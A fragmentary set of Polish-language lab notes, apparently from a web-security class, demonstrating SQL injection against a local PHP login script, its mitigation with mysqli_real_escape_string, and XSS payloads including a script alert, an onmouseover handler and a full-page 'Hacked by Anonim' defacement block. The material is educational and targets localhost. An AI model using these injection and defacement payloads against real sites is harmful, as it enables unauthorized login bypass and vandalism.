
   
 

 

  

  

 

  



   
 

 

 

cat /opt/lampp/htdocs/ataki/logowanie.php 

 

users login pass

 

  

 

http://localhost/ataki/formularz.html


   
 

  

admin admin1

 

  

 

 

 

cokolwiek' or 1 = '1 

SELECT id FROM users WHERE login = '$log' 
AND pass = '$pas'

admin mojehaslo123 SELECT id FROM users WHERE login 

= 'admin' AND pass = 'mojehaslo123'

cokolwiek' or 1 = '1

SELECT id FROM users WHERE login = 'admin' AND pass = 'cokolwiek' 
OR 1 = '1'

 

 



   
 

mysqli_real_escape_string()

 

 

cat /opt/lampp/htdocs/ataki/logowanie2.php 

 

 

\

Błąd logowania



   
 

 

cat /opt/lampp/htdocs/ataki/skrypt2.php 

 

Error

 

 http://localhost/ataki/skrypt2.php?login=admin&pass=inne_haslo

SELECT id FROM 
users WHERE login = 'admin'

admin

-- %20



   
 

 

mysqli_real_escape_string()

 

nano

sudo nano /opt/lampp/htdocs/ataki/skrypt2.php 

 

// Połączenie z bazą musi być już nawiązane ($link) 
$log = mysqli_real_escape_string($link, $_GET['login']); 
$pas = mysqli_real_escape_string($link, $_GET['pass']); 

// Teraz zapytanie jest bezpieczne 
$query = "SELECT id FROM users WHERE login = '$log' AND pass = '$pas'"; 

 
http://localhost/ataki/skrypt2.php?login=admin'--%20

 



   
 

 

skrypt.php

ksiega.txt

 

 

https://localhost/ataki/skrypt.php


   
 

 

<u><b>Atak XSS</b></u> 

 

<script>alert('Atak XSS');</script> 

strip_tags()

<p> 

Event Handlers <p>

onmouseover



   
 

 <p onmouseover="alert('Atak XSS')">NAJEDŹ TUTAJ</p>

 

<div>

 

<div style="text-align:center; color:#FF0000; background:#000000; 
position:absolute; top:0; left:0; right:0; bottom:0; padding:0; margin:0; 
height:100000px; z-index:101; padding-top:50px; font-size:50px; font-
family:Verdana;"> 

    Hacked by Anonim 

</div> 


